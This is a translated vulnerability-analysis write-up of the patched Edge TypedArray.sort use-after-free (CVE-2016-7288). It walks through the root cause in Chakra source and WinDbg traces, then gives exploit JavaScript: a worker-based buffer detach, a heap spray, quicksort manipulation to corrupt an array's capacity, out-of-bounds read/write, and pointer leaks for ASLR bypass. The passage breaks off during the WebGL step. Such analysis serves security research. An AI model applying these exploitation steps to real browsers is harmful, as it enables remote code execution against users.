【漏洞分析】MS16-145:Edge浏览器TypedArray.sort UAF漏洞分析

阅读量136292

|

发布时间 : 2017-05-08 09:59:12

x
译文声明

本文是翻译文章,文章来源:quarkslab.com

原文地址:http://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html

译文仅供参考,具体内容表达以及含义原文为准。

http://p7.qhimg.com/t012391c72a1e0f811d.png

翻译:shan66

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在这篇文章中,我们将为读者详细分析如何利用MS Edge浏览器中的UAF漏洞来远程执行代码。

本文将为读者深入分析影响MS Edge的CVE-2016-7288 UAF漏洞的根本原因,以及如何可靠地触发该UAF漏洞,如何用一种精确地方法来左右Quicksort从而控制交换操作并破坏内存,获得相对内存读/写原语,然后在WebGL的帮助下将其转换为绝对R / W原语,最后使用伪造的面向对象编程(COOP)技术来绕过控制流保护措施。


分析注解

本文是在Windows 10 Anniversary Update x64上使用下列版本的MS Edge执行分析工作的。

存在安全漏洞的模块:chakra.dll 11.0.14393.0 


简介

Google Project Zero已经公布了此漏洞的概念证明[3],据称这是一个影响JavaScript的TypedArray.sort方法的UAF漏洞。

下面是公布在Project Zero的bug跟踪器中的原始PoC: 

<html><body><script>
var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;
function v(){
  alert("in v");
  if( first == 0){
       postMessage("test", "http://127.0.0.1", [buf])
    first++;
    }
   return 7;
}
function compareNumbers(a, b) {
  alert("in func");
  return {valueOf : v};
}
try{
    numbers.sort(compareNumbers);
}catch(e){
    alert(e.message);
}
</script></body></html>

值得注意的是,在我的测试过程中,这个PoC根本没有触发这个漏洞。


该漏洞的根本原因

根据Mozilla关于TypedArray.sort方法的文档[4]的介绍,“sort()方法用于对类型化数组的元素进行排序,并返回类型化的数组”。这个方法有一个名为compareFunction的可选参数,该参数“指定定义排序顺序的函数”。

JavaScript TypedArray.sort方法的对应的原生方法是chakra!TypedArrayBase :: EntrySort,它是在lib / Runtime / Library / TypedArray.cpp中定义的。
Var TypedArrayBase::EntrySort(RecyclableObject* function, CallInfo callInfo, ...){
    [...]
    // Get the elements comparison function for the type of this TypedArray
    void* elementCompare = reinterpret_cast<void*>(typedArrayBase->GetCompareElementsFunction());
    // Cast compare to the correct function type
    int(__cdecl*elementCompareFunc)(void*, const void*, const void*) = (int(__cdecl*)(void*, const void*, const void*))elementCompare;
    void * contextToPass[] = { typedArrayBase, compareFn };
    // We can always call qsort_s with the same arguments. If user compareFn is non-null, the callback will use it to do the comparison.
    qsort_s(typedArrayBase->GetByteBuffer(), length, typedArrayBase->GetBytesPerElement(), elementCompareFunc, contextToPass);

我们可以看到,它调用GetCompareElementsFunction方法来获取元素比较函数,并且在进行类型转换后,所述函数将传递给qsort_s()[5]作为其第四个参数。根据其文档:

qsort_s函数实现了一个快速排序算法来排序数组元素[…]。qsort_s会使用排序后的元素来覆盖这个数组。参数compare是指向用户提供的例程的指针,它比较两个数组元素并返回一个表明它们的关系的值。qsort_s在排序期间会调用一次或多次比较例程,每次调用时都会将指针传递给两个数组的元素。

这里描述的qsort_s所有细节,对我们的任务都是非常重要的,这一点将在后文章体现出来。

GetCompareElementsFunction方法是在lib / Runtime / Library / TypedArray.h中定义的,它只是返回TypedArrayCompareElementsHelper函数的地址: 
CompareElementsFunction GetCompareElementsFunction()
{
    return &TypedArrayCompareElementsHelper<TypeName>;
}
本机比较函数TypedArrayCompareElementsHelper是在TypedArray.cpp中定义的,其代码如下所示: 
template<typename T> int __cdecl TypedArrayCompareElementsHelper(void* context, const void* elem1, const void* elem2)
{
[...]
    Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
        undefined,
        JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
        JavascriptNumber::ToVarWithCheck((double)y, scriptContext));
    Assert(TypedArrayBase::Is(contextArray[0]));
    if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
    {
        JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
    }
    if (TaggedInt::Is(retVal))
    {
        return TaggedInt::ToInt32(retVal);
    }
    if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
    {
        dblResult = JavascriptNumber::GetValue(retVal);
    }
    else
    {
        dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
    }

CALL_FUNCTION宏将调用我们的JS比较函数。请注意,在调用我们的JS函数后,代码会检查用户控制的JS代码是否已经分离了类型化的数组。但是,如Natalie Silvanovich所解释的那样,“函数的返回值被转换为一个可以调用valueOf的整数,如果这个函数分离了TypedArray,那么在释放缓冲区之后就会执行一个交换。在从TypedArrayCompareElementsHelper返回后,释放缓冲区中的元素交换操作发生在msvcrt!qsort_s中。

这个漏洞的修复程序只是在上面显示的代码之后对类型化数组的可能分离状态进行了额外的检查: 

// ToNumber may execute user-code which can cause the array to become detached
if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
{
    JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
}

Project Zero的概念证明

Project Zero提供的PoC看起来很简单:它创建了一个由ArrayBuffer对象支持的类型化数组(更具体地说是一个Uint8Array),它在类型化数组上调用sort方法,作为参数传递一个名为compareNumbers的JS函数。这个比较函数返回实现自定义valueOf方法的新对象:

function compareNumbers(a, b) {
  alert("in func");
  return {valueOf : v};
}

v是一个函数,它通过调用postMessage方法来将ArrayBuffer分解为类型化的数组对象。在尝试把比较函数的返回值转换为整数过程中,会在从TypedArrayCompareElementsHelper调用JavascriptConversion :: ToNumber_Full()时调用它。

function v(){
  alert("in v");
  if( first == 0){
       postMessage("test", "http://127.0.0.1", [buf])
    first++;
    }
   return 7;
}

这应该足以触发这个漏洞了。然而,在多次运行PoC之后,我很惊讶地发现,它并没有在存在该漏洞的机器上面造成任何崩溃。


以可靠的方式触发漏洞

过去,我编写过影响Internet Explorer类似UAF漏洞的利用代码,这也涉及到将ArrayBuffer分解为类型化数组对象。根据我对IE的经验,当通过postMessage对ArrayBuffer进行排序时,会立即释放ArrayBuffer的原始内存,因此UAF漏洞的迹象是显而易见的。

在调试Edge内容进程一段时间之后,我意识到ArrayBuffer对象的原始内存没有被立即释放,而是在几秒之后,类似于“延迟释放”的方式。这导致该漏洞难以显示,因为qsort_s中的元素交换操作未触发未映射的内存。

通过查看Chakra JS引擎的源代码,可以看到使用ArrayBuffer时,在lib / Runtime / Library / ArrayBuffer.cpp中的JavascriptArrayBuffer :: CreateDetachedState方法中创建了一个Js :: ArrayBuffer :: ArrayBufferDetachedState对象。在“阉割”ArrayBuffer之后会立即出现这种情况。

ArrayBufferDetachedStateBase* JavascriptArrayBuffer::CreateDetachedState(BYTE* buffer, uint32 bufferLength)
{
#if _WIN64
    if (IsValidVirtualBufferLength(bufferLength))
    {
        return HeapNew(ArrayBufferDetachedState<FreeFn>, buffer, bufferLength, FreeMemAlloc, ArrayBufferAllocationType::MemAlloc);
    }
    else
    {
        return HeapNew(ArrayBufferDetachedState<FreeFn>, buffer, bufferLength, free, ArrayBufferAllocationType::Heap);
    }
#else
    return HeapNew(ArrayBufferDetachedState<FreeFn>, buffer, bufferLength, free, ArrayBufferAllocationType::Heap);
#endif
}

ArrayBufferDetachedState对象表示一个中间状态,其中一个ArrayBuffer对象已经被分离,不能再被使用,但是其原始内存尚未被释放。这里非常有趣的是ArrayBufferDetachedState对象含有一个指向用于释放分离的ArrayBuffer的原始内存的函数的指针。如上所示,如果IsValidVirtualBufferLength()返回true,则使用Js :: JavascriptArrayBuffer :: FreeMemAlloc(它只是VirtualFree的包装器); 否则使用free。

ArrayBuffer的原始内存的实际释放会发生在以下调用堆栈中。Project Zero提供的PoC并不会立即执行这个动作,而是在所有的JS代码运行完毕后才会被触发这个操作。

Js::TransferablesHolder::Release
            |
            v
Js::DetachedStateBase::CleanUp
            |
            v
Js::ArrayBuffer::ArrayBufferDetachedState<void (void *)>::DiscardState(void)
            |
            v
free(), or Js::JavascriptArrayBuffer::FreeMemAlloc (this last one is just a wrapper for VirtualFree)

所以,我需要找到一种方式,使分离的ArrayBuffer的原始内存可以立即释放,然后返回到qsort_s。我决定尝试使用Web Worker,我曾经在Internet Explorer的利用代码中使用了类似的漏洞,同时等待几秒钟,以便为释放原始缓冲区提供一些时间。

function v(){
    [...]
    the_worker = new Worker('the_worker.js');
    the_worker.onmessage = function(evt) {
        console.log("worker.onmessage: " + evt.toString());
    }
    //Neuter the ArrayBuffer
    the_worker.postMessage(ab, [ab]);
    //Force the underlying raw buffer to be freed before returning!
    the_worker.terminate();
    the_worker = null;
    /* Give some time for the raw buffer to be effectively freed */
    var start = Date.now();
    while (Date.now() - start < 2000){
    }
    [...]

我试验了这个想法,为microsoftedgecp.exe启用了全页堆验证,结果立即发生了崩溃。正如你所看到的,当交换操作尝试在释放的缓冲区上运行时,在qsort_s内部发生了崩溃: 

(b0.adc): Access violation - code c0000005 (!!! second chance !!!)
msvcrt!qsort_s+0x3f0:
00007ff8`139000e0 0fb608          movzx   ecx,byte ptr [rax] ds:00000282`b790aff4=??
0:010> r
rax=00000282b790aff4 rbx=000000ff4f1fbeb0 rcx=000000ff4f1fbf68
rdx=00007ffff8aa4dbb rsi=0000000000000002 rdi=000000ff4f1fb9c0
rip=00007ff8139000e0 rsp=000000ff4f1fc0f0 rbp=0000000000000004
 r8=0000000000000004  r9=00010000ffffffff r10=00000282b30c5170
r11=000000ff4f1fb758 r12=00007ffff8ccaed0 r13=00000282b790aff4
r14=00000282b790aff0 r15=000000ff4f1fc608
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010295
!heap -p -a @rax命令表明缓冲区已经从Js :: ArrayBuffer :: ArrayBufferDetachedState :: DiscardState中释放: 
0:010> !heap -p -a @rax
ReadMemory error for address 0000027aa4a4ffe8
Use `!address 0000027aa4a4ffe8' to check validity of the address.
ReadMemory error for address 0000027aa4dbffe8
Use `!address 0000027aa4dbffe8' to check validity of the address.
    address 00000282b790aff4 found in
    _DPH_HEAP_ROOT @ 27aa4dd1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                27aa4e2cc98:      282b790a000             2000
    00007ff81413ed6b ntdll!RtlDebugFreeHeap+0x000000000003c49b
    00007ff81412cfb3 ntdll!RtlpFreeHeap+0x000000000007f0d3
    00007ff8140ac214 ntdll!RtlFreeHeap+0x0000000000000104
    00007ff8138e9dac msvcrt!free+0x000000000000001c
    00007ffff8cc91b2 chakra!Js::ArrayBuffer::ArrayBufferDetachedState<void __cdecl(void * __ptr64)>::DiscardState+0x0000000000000022
    00007ffff8b23701 chakra!Js::DetachedStateBase::CleanUp+0x0000000000000025
    00007ffff8b27285 chakra!Js::TransferablesHolder::Release+0x0000000000000045
    00007ffff9012d86 edgehtml!CStrongReferenceTraits::Release<Windows::Foundation::IAsyncOperation<unsigned int> >+0x0000000000000016
    [...]

回收释放的内存

到目前为止,我们已经满足了一个典型的UAF条件;现在,在完成释放操作之后,我们要回收释放的内存,并在此之前放置一些有用的对象,然后通过qsort_s访问释放的缓冲区以进行交换操作。

在寻找对象来填补内存空隙时,我注意到一些非常有趣的东西。保存ArrayBuffer元素的原始缓冲区(即释放后被访问的原始缓冲区)是在ArrayBuffer构造函数[lib / Runtime / Library / ArrayBuffer.cpp]中分配的: 

ArrayBuffer::ArrayBuffer(uint32 length, DynamicType * type, Allocator allocator) :
    ArrayBufferBase(type), mIsAsmJsBuffer(false), isBufferCleared(false),isDetached(false)
{
    buffer = nullptr;
    [...]
    buffer = (BYTE*)allocator(length);
    [...]

请注意,构造函数的第三个参数是一个函数指针(Allocator类型),通过调用它来分配原始缓冲区。如果我们搜索调用这个构造函数的代码,我们会发现,它是通过下列方式从JavascriptArrayBuffer构造函数中进行调用的: 

JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
    ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}

因此,JavascriptArrayBuffer构造函数可以使用两个不同的分配器调用ArrayBuffer构造函数:AllocWrapper(它是VirtualAlloc的包装器)或malloc。选择哪一个具体取决于IsValidVirtualBufferLength方法返回的布尔结果(并且该bool值是由要实例化的ArrayBuffer的长度确定的,所以我们具有完全控制权)。

这意味着,与许多其他UAF场景不同,我们可以选择在哪个堆中分配目标缓冲区:由VirtualAlloc / VirtualFree管理的全页,或者在使用malloc作为分配器的情况下的CRT堆。

根据Moretz Jodeit去年发表的研究[6],在Internet Explorer 11上,当从JavaScript分配大量数组时,jCript9!LargeHeapBlock对象被分配在CRT堆上,它们构成了内存破坏的一个很好的靶子。但是,在MS Edge上情况并非如此,因为LargeHeapBlock对象现在通过HeapAlloc()分配给另一个堆。在Edge中通过malloc分配的CRT堆中很难找到其他有用的对象,所以我决定寻找由VirtualAlloc分配的有用对象。


数组

因此,如上所述,为了使ArrayBuffer构造函数通过VirtualAlloc分配其原始缓冲区,我们需要让IsValidVirtualBufferLength方法返回true。我们来看看它的相关代码[lib / Runtime / Library / ArrayBuffer.cpp]: 

bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{
#if _WIN64
    /*
    1. length >= 2^16
    2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
    3. length is a multiple of 4K
    */
    return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
        (length >= 0x10000) &&
        (((length & (~length + 1)) == length) ||
        (length >= 0x1000000 &&
        ((length & 0xFFFFFF) == 0)
        )
        ) &&
        ((length % AutoSystemInfo::PageSize) == 0)
        );
#else
    return false;
#endif
}

这意味着,我们可以通过指定例如0x10000作为我们正在创建的ArrayBuffer的长度来使其返回true。这样,将在释放之后使用的缓冲区就会通过VirtualAlloc进行分配。

考虑到重新分配操作,我注意到,当从JavaScript代码分配大整数数组时,数组也是通过VirtualAlloc分配的。为此,我在WinDbg中使用了如下所示这样的记录断点: 

> bp kernelbase!VirtualAlloc "k 5;r @$t3=@rdx;gu;r @$t4=@rax;.printf "Allocated 0x%x bytes @ address %p\n", @$t3, @$t4;gu;dqs @$t4 l4;gc"

输出结果如下所示: 

 # Child-SP          RetAddr           Call Site
00 000000d0`f51fb3f8 00007ffc`3a932f11 KERNELBASE!VirtualAlloc
01 000000d0`f51fb400 00007ffc`255fa5f5 EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAlloc+0x51
02 000000d0`f51fb450 00007ffc`255fdc4b chakra!Memory::VirtualAllocWrapper::Alloc+0x55
03 000000d0`f51fb4b0 00007ffc`2565bc38 chakra!Memory::SegmentBase<Memory::VirtualAllocWrapper>::Initialize+0xab
04 000000d0`f51fb510 00007ffc`255fc8e2 chakra!Memory::PageAllocatorBase<Memory::VirtualAllocWrapper>::AllocPageSegment+0x9c
Allocated 0x10000 bytes @ address 000002d0909a0000
000002d0`909a0000  00000000`00000000
000002d0`909a0008  00000000`00000000
000002d0`909a0010  00000000`00000000
000002d0`909a0018  00000000`00000000

检查内存的内容后会显示一个数组的结构: 

0:025> dds 000002d0909a0000
000002d0`909a0000  00000000
000002d0`909a0004  00000000
000002d0`909a0008  0000ffe0
000002d0`909a000c  00000000
000002d0`909a0010  00000000
000002d0`909a0014  00000000
000002d0`909a0018  0000ce7c
000002d0`909a001c  00000000
000002d0`909a0020  00000000     // <--- Js::SparseArraySegment object starts here
000002d0`909a0024  00003ff2     // array length
000002d0`909a0028  00003ff2     // array reserved capacity
000002d0`909a002c  00000000
000002d0`909a0030  00000000
000002d0`909a0034  00000000
000002d0`909a0038  41414141     //array elements
000002d0`909a003c  41414141
000002d0`909a0040  41414141

在该内存转储的偏移量0x20处,我们有一个Js :: SparseArraySegment类的实例,它会被JavascriptNativeIntArray对象的head成员引用: 

0000029c`73ea82c0  00007ffc`259b38d8    chakra!Js::JavascriptNativeIntArray::`vftable'
0000029c`73ea82c8  0000029b`725590c0    //Pointer to type information
0000029c`73ea82d0  00000000`00000000
0000029c`73ea82d8  00000000`00010005
0000029c`73ea82e0  00000000`00003ff2    // array length
0000029c`73ea82e8  000002d0`909a0020    // <--- 'head' member, points to Js::SparseArraySegment object

在Js :: SparseArraySegment对象的偏移量0x8处,我们可以看到整数数组的备用容量,数组的元素从偏移量0x18开始。由于UAF漏洞允许我们在qsort_s决定交换两个元素的顺序时交换两个双字,我们将尝试利用这一点,通过(由我们完全控制)的数组元素来替换备用容量。如果我们设法做到了这一点,我们就能够读写数组以外的内存。

顺便说一句,我的reclaim函数(在分离ArrayBuffer之后,在从v()返回之前调用)函数看起来就像是这样的。注意,我从0x10000减去0x38(数组元素从缓冲区开始的偏移量),然后将其除以4(每个元素的大小),因此分配大小正好是0x10000。该喷射操作具有附加的特性,即所分配的块彼此相邻,之间没有间隙,这对我们后面的工作非常有用。

function reclaim(){
    var NUMBER_ARRAYS = 20000;
    arr = new Array(NUMBER_ARRAYS);
    for (var i = 0; i < NUMBER_ARRAYS; i++) {
        /* Allocate an array of integers */
        arr[i] = new Array((0x10000-0x38)/4);
        for (var j = 0; j < arr[i].length; j++) {
            arr[i][j] = 0x41414141;
        }
    }
}

有趣的是,如果由于某种原因,你尝试一下大于0x10000的喷射块,同时仍然进行IsValidVirtualBufferLength检查的话,那么很快就会注意到,在具有很多重复元素的数组上运行quicksort算法时到底有多慢[7] :)所以最好坚持使用0x10000,这是IsValidVirtualBufferLength返回true的最小长度,除非你希望你的漏洞要运行许多分钟。


影响Quicksort并控制交换操作

现在,您可能想要了解quicksort算法的工作原理[8],并查看其具体实现[9]。请注意,为了使qsort_s根据我们的需要进行精确的元素交换(用offset> = 0x38的数组元素替换缓冲区中偏移量为0x28处的整数数组备用容量),我们必须仔细地构造:

存储在ArrayBuffer中将要进行排序的值

这些值在ArrayBuffer中的位置

我们的JS比较函数返回的值(-1,0,1)[10]

做了一些测试后,我找到了下面的ArrayBuffer设置,这将触发我需要的精确交换操作: 

var ab = new ArrayBuffer(0x10000);
var ia = new Int32Array(ab);
[...]
ia[0x0a] = 0x9;           // Array capacity, gets swapped (offset 0x28 of the buffer)
ia[0x13] = 0x55555555;    // gets swapped (offset 0x4C of the buffer, element at index 5 of the int array)
ia[0x20] = 0x66666666;

使用这种设置,当比较的元素是我要交换的两个值时,我的比较函数将触发UAF漏洞: 

[...]
if ((this.a == 0x9) && (this.b == 0x55555555)){
    //Let's detach the 'ab' ArrayBuffer
    the_worker = new Worker('the_worker.js');
    the_worker.onmessage = function(evt) {
        console.log("worker.onmessage: " + evt.toString());
    }
    the_worker.postMessage(ab, [ab]);
    //Force the underlying raw buffer to be freed before returning!
    the_worker.terminate();
    the_worker = null;
    //Give some time for the raw buffer to be effectively freed
    var start = Date.now();
    while (Date.now() - start < 2000){
    }
    //Refill the memory hole with a useful object (an int array)
    reclaim();
    //Returning 1 means that 9 > 0x55555555, so their positions must be swapped
    return 1;
}
[...]

我们可以通过在JavascriptArrayBuffer :: FreeMemAlloc中设置断点来检查它是否按照我们预期的方式进行,其中VirtualFree即将被调用以释放ArrayBuffer的原始缓冲区: 

http://p7.qhimg.com/t010e9c243bda2115a9.png

0:023> bp chakra!Js::JavascriptArrayBuffer::FreeMemAlloc+0x1a "r @$t0 = @rcx"
0:023> g
chakra!Js::JavascriptArrayBuffer::FreeMemAlloc+0x1a:
00007fff`f8cc975a 48ff253f8d1100  jmp     qword ptr [chakra!_imp_VirtualFree (00007fff`f8de24a0)] ds:00007fff`f8de24a0={KERNELBASE!VirtualFree (00007ff8`11433e50)}

执行在断点处停止,所以现在我们可以检查ArrayBuffer的内容,该内容在排序后即将被释放: 

0:024> dds @rcx l21
00000235`48070000  00000000
00000235`48070004  00000000
00000235`48070008  00000000
00000235`4807000c  00000000
00000235`48070010  00000000
00000235`48070014  00000000
00000235`48070018  00000000
00000235`4807001c  00000000
00000235`48070020  00000000
00000235`48070024  00000000
00000235`48070028  00000009         // the dword at this position will be swapped...
00000235`4807002c  00000000
00000235`48070030  00000000
00000235`48070034  00000000
00000235`48070038  00000000
00000235`4807003c  00000000
00000235`48070040  00000000
00000235`48070044  00000000
00000235`48070048  00000000
00000235`4807004c  55555555         // ... with the dword at this position
00000235`48070050  00000000
00000235`48070054  00000000
00000235`48070058  00000000
00000235`4807005c  00000000
00000235`48070060  00000000
00000235`48070064  00000000
00000235`48070068  00000000
00000235`4807006c  00000000
00000235`48070070  00000000
00000235`48070074  00000000
00000235`48070078  00000000
00000235`4807007c  00000000
00000235`48070080  66666666

您可以看到偏移0x28处的值为0x9,偏移0x4c处的值为0x55555555。值0x66666666也可以在偏移0x80处看到;它是影响quicksort算法的地方,并获得我们需要的精确互换。

现在我们可以在qsort_s函数上设置几个断点,将其设置在紧跟它所调用的TypedArrayCompareElementsHelper本机比较函数(最终调用我们的JS比较函数)的指令之后: 

http://p0.qhimg.com/t0195974d259511f26d.png

http://p6.qhimg.com/t0104176ce5eb50576b.png

0:010> bp msvcrt!qsort_s+0x3c2
0:010> bp msvcrt!qsort_s+0x194

现在我们恢复执行,几秒钟后,断点就被击中。如果一切顺利的话,ArrayBuffer应该被释放,并且其中一个喷射的整数数组的内存被回收: 

0:024> g
Breakpoint 2 hit
msvcrt!qsort_s+0x194:
00007ff8`138ffe84 85c0            test    eax,eax
0:010> dds 00000235`48070000
00000235`48070000  00000000
00000235`48070004  00000000
00000235`48070008  0000ffe0
00000235`4807000c  00000000
00000235`48070010  00000000
00000235`48070014  00000000
00000235`48070018  00009e75
00000235`4807001c  00000000
00000235`48070020  00000000         // Js::SparseArraySegment object starts here
00000235`48070024  00003ff2
00000235`48070028  00003ff2         // reserved capacity of the integer array; it occupies the position of the 0x9 value that will be swapped
00000235`4807002c  00000000
00000235`48070030  00000000
00000235`48070034  00000000
00000235`48070038  41414141         // elements of the integer array start here
00000235`4807003c  41414141
00000235`48070040  41414141
00000235`48070044  41414141
00000235`48070048  41414141
00000235`4807004c  7fffffff         // this one occupies the position of the 0x55555555 value which is going to be swapped
00000235`48070050  41414141
00000235`48070054  41414141

太棒了!我们的一个喷射的整数数组现在占据了以前由ArrayBuffer对象的原始缓冲区占据的内存。qsort_s的交换代码现在将以偏移量0x28(以前的UAF:值0x9,现在值为int数组的容量)处的dword与偏移量0x4c处的dword(之前的UAF:数组元素,值为0x55555555,现在:值为0x7fffffff的数组元素)进行交换 。

交换发生在下面的循环中: 

qsort_s+1B0  loc_11012FEA0:
qsort_s+1B0                  movzx   eax, byte ptr [rdx]        ; grab a byte from the dword @ offset 0x4c
qsort_s+1B3                  movzx   ecx, byte ptr [r9+rdx]     ; grab a byte from the dword @ offset 0x28
qsort_s+1B8                  mov     [r9+rdx], al               ; swap
qsort_s+1BC                  mov     [rdx], cl                  ; swap
qsort_s+1BE                  lea     rdx, [rdx+1]               ; proceed with the next byte of the dwords
qsort_s+1C2                  sub     r8, 1
qsort_s+1C6                  jnz     short loc_11012FEA0        ; loop

成功交换后,int数组看起来像下面这样,这表明我们已经用非常大的值(0x7fffffff)覆盖了原来的容量: 

0:010> dds 00000235`48070000
00000235`48070000  00000000
00000235`48070004  00000000
00000235`48070008  0000ffe0
00000235`4807000c  00000000
00000235`48070010  00000000
00000235`48070014  00000000
00000235`48070018  00009e75
00000235`4807001c  00000000
00000235`48070020  00000000         // Js::SparseArraySegment object starts here
00000235`48070024  00003ff2
00000235`48070028  7fffffff         // <--- we've overwritten the array capacity with a big value!
00000235`4807002c  00000000
00000235`48070030  00000000
00000235`48070034  00000000
00000235`48070038  41414141
00000235`4807003c  41414141
00000235`48070040  41414141
00000235`48070044  41414141
00000235`48070048  41414141
00000235`4807004c  00003ff2         // the old array capacity has been written here
00000235`48070050  41414141
00000235`48070054  41414141

获得相对内存读/写原语

由于我们已经用0x7fffffff覆盖了数组的原始容量,现在我们可以利用这个被破坏的int数组来读写其边界之外的内存。

但是,我们的R / W原语有一些限制:

由于数组容量为32位整数,我们将无法解析Edge进程的完整的64位地址空间;相反,我们最多能够寻址4 Gb的内存,起始地址从该int数组的基地址开始。

此外,当目标地址被作为64位指针时,可以控制32位索引,我们只能访问大于我们破坏的int数组的基址的内存地址;不能访问较低的地址。

最后,这是一个相对的内存R / W原语。我们不能指定要读写的绝对地址;而是需要从我们的破坏的int数组的基地址指定一个偏移量。


寻找被破坏的整数数组

找到将为我们提供R / W原语的受损整数数组真的很容易。我们只需要遍历所有的喷射的int数组,寻找索引为5且值不是0x41414141的元素(请记住,在交换操作期间,原始数组容量将写入索引为5的元素所在的位置)即可。

function find_corrupted_index(){
    for (var i = 0; i < arr.length; i++){
        if (arr[i][5] != 0x41414141){
            return i;
        }
    }
    return -1;
}

一旦我们找到了损坏的整数数组,我们就可以进行越界读写操作。在下面的代码片段中,我们使用受损数组读取其后面的内存中的值(这个数组应该是另一个int数组——别忘了,我们已经喷了数千个int数组,每个数组都正好占据了0x10000字节,而且它们是相邻并对齐到0x10000)。注意我们如何使用像0x4000这样的任意索引取得成功的,而真正的int数组容量是索引为0x3ff2的元素: 

var corrupted_index = find_corrupted_index();
if (corrupted_index != -1){
    arr[corrupted_index][0x4000] = 0x21212121;                          // OOB write
    alert("OOB read: 0x" + arr[corrupted_index][0x3ff8].toString(16));  // OOB read
}

此外,您应该始终记住,从任意索引N读取OOB需要先写入索引> = N。


泄漏指针

现在,我们已经取得了一个R / W原语,下面我们就要开始泄露几个指针,以便可以推断一些模块的地址并绕过ASLR。下面,我们通过在JS函数reclaim中将喷射的整数数组与一些字符串对象的数组交插来实现这一点: 

function reclaim(){
    var NUMBER_ARRAYS = 10000;
    arr = new Array(NUMBER_ARRAYS);
    var the_string = "MS16-145";
    for (var i = 0; i < NUMBER_ARRAYS; i++) {
        if ((i % 10) == 9){
            the_element = the_string;
            /* Allocate an array of strings */
            arr[i] = new Array((0x10000-0x38)/8);   //sizeof(ptr) == 8
        }
        else{
            the_element = 0x41414141;
            /* Allocate an array of integers */
            arr[i] = new Array((0x10000-0x38)/4);   //sizeof(int) == 4
        }
        for (var j = 0; j < arr[i].length; j++) {
            arr[i][j] = the_element;
        }
    }
}

这样,在破坏其中一个数组的备用容量后,我们可以在数组边界之外每次读取0x10000字节,遍历相邻的数组,寻找最近的字符串对象数组: 

//Traverse the adjacent arrays, looking for the closest array of string objects
for (var i = 0; i < (arr.length - corrupted_index); i++){
    base_index = 0x4000 * i;        //Index to make it point to the first element of another array
    //Remember, you need to write at least to offset N if you want to read from offset N
    arr[corrupted_index][base_index + 0x20] = 0x21212121;
    //If it's an array of objects (as opposed to array of ints filled with 0x41414141)
    if (arr[corrupted_index][base_index] != 0x41414141){
        alert("found pointer: 0x" + ud(arr[corrupted_index][base_index+1]).toString(16) + ud(arr[corrupted_index][base_index]).toString(16));
        break;
    }
}

这里的ud()函数只是一个小帮手,能够以无符号双字的形式读取值: 

//Read as unsigned dword
function ud(sd) {
    return (sd < 0) ? sd + 0x100000000 : sd;
}

从相对R / W到(几乎)绝对R / W与WebGL

在完全任意的R / W原语的理想场景下,在将指针泄漏到某个对象之后,我们只需要在泄漏的地址上读取第一个qword,获得指向其vtable的指针,就能够计算模块的基址。但在这种情况下,我们有一个相对的R / W原语。由于R / W原语是通过在数组中使用索引来实现的,所以目标地址是这样计算的:target_addr = array_base_addr + index * sizeof(int)。我们完全控制了索引,但问题是我们不知道我们自己的数组基址是多少。

那么数组基地址在哪里呢?它存储在一个JavascriptNativeIntArray对象的偏移量0x28处,它具有以下结构: 

0000029c`73ea82c0  00007ffc`259b38d8    chakra!Js::JavascriptNativeIntArray::`vftable'
0000029c`73ea82c8  0000029b`725590c0    //Pointer to type information
0000029c`73ea82d0  00000000`00000000
0000029c`73ea82d8  00000000`00010005
0000029c`73ea82e0  00000000`00003ff2    // array length
0000029c`73ea82e8  000002d0`909a0020    // <--- 'head' member, points to Js::SparseArraySegment object

对于如何克服这个问题(不知道我自己破坏的数组的基址)有点难度,我决定使用VirtualAlloc分配缓冲区的技术,如asm.js和WebGL,寻找有用的漏洞利用素材。我决定记录通过移植到JS的3D游戏引擎加载网页时VirtualAlloc进行的分配情况,我看到一些WebGL缓冲区包含自引用,也就是指向缓冲区本身的指针。

所以,我的下一步就变得更加清晰了:我想释放一些喷射的数组,创建内存空隙,并尝试用WebGL缓冲区填充这些内存空隙,希望包含自引用指针。如果发生这种情况,可以使用我们有限的R / W原语来读取其中一个WebGL自引用指针,从而暴露我们(现在由WebGL释放并被WebGL占用)喷射的int数组的地址。

具有自引用的WebGL缓冲区如下所示:在本示例中,在缓冲区+ 0x20处有一个指向缓冲区+ 0x159的指针: 

0:013> dqs 00000268`abdc0000
00000268`abdc0000  00000000`00000000
00000268`abdc0008  00000000`00000000
00000268`abdc0010  00000073`8bfdb3e0
00000268`abdc0018  00000000`000000d8
00000268`abdc0020  00000268`abdc0159        // reference to buffer + 0x159
00000268`abdc0028  00000000`00000000
00000268`abdc0030  00000000`00000000
00000268`abdc0038  00000000`00000000
00000268`abdc0040  00000000`00000000
00000268`abdc0048  00000000`00000000
00000268`abdc0050  00000001`ffffffff
00000268`abdc0058  00000001`00000000
00000268`abdc0060  00000000`00000000
00000268`abdc0068  00000000`00000000
00000268`abdc0070  00000000`00000000
00000268`abdc0078  00000000`00000000

虽然释放一些int数组为WebGL缓冲区腾出了空间,但我注意到它们并没有被立即释放,而是在线程空闲时调用VirtualFree,就像以下调用栈所建议的(注意所涉及到的方法名称,如Memory :: IdleDecommitPageAllocator :: IdleDecommit,ThreadServiceWrapperBase :: IdleCollect等)那样。这可以通过setTimeout让函数几秒钟后执行来克服。

> bp kernelbase!VirtualFree "k 10; gc"
 # Child-SP          RetAddr           Call Site
